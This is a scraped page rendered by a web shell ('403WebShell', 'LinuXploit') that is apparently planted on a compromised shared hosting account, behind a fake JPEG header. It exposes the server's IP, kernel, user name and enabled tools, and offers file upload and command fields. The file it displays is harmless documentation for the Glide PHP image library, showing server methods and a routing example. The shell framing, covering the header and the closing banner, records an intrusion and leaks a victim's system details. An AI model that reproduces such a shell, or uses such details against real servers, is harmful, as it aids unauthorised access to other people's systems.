����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.138.101.237
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/ideyshare.name.ng/app/libraries/vendor/league/glide/docs/0.3/config/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/ideyshare.name.ng/app/libraries/vendor/league/glide/docs/0.3/config/basic-usage.md
---
layout: default
title: Basic usage
---

# Basic usage

Once your [Glide server](/config/the-server/) is configured, there are a number of methods available to interact with it. For basic setups you'll likely only need the `outputImage()` method. However, if you plan to use Glide with a queuing server or in other more complex configurations, these methods will be useful.

## Available methods

~~~ php
<?php

$server->getSourcePath();       // Get the source path
$server->getCachePath();        // Get the cache path
$server->sourceFileExists();    // Check if a source file exists
$server->cacheFileExists();     // Check if a cache file exists
$server->outputImage();         // Generate and output manipulated image
$server->getImageResponse();    // Generate and return response object of manipulated image
$server->makeImage();           // Generate manipulated image
~~~

## Accepted method parameters

All of the above methods will accept an instance of the `Symfony\Component\HttpFoundation\Request` class. However, sometimes it's desirable to manually pass the image path and manipulation parameters. Glide makes this easy by also allowing you to pass a `$path` and `$params` combination to the above methods. Consider the following example:

~~~ php
<?php

Route::get('img/users/{id}/small', function($id) use ($server) {
    $server->outputImage(
        '/users/' . $id . '.jpg',
        [
            'w' => 300,
            'h' => 400,
            'fit' => 'crop',
        ]
    );
});
~~~

Youez - 2016 - github.com/yon3zu
LinuXploit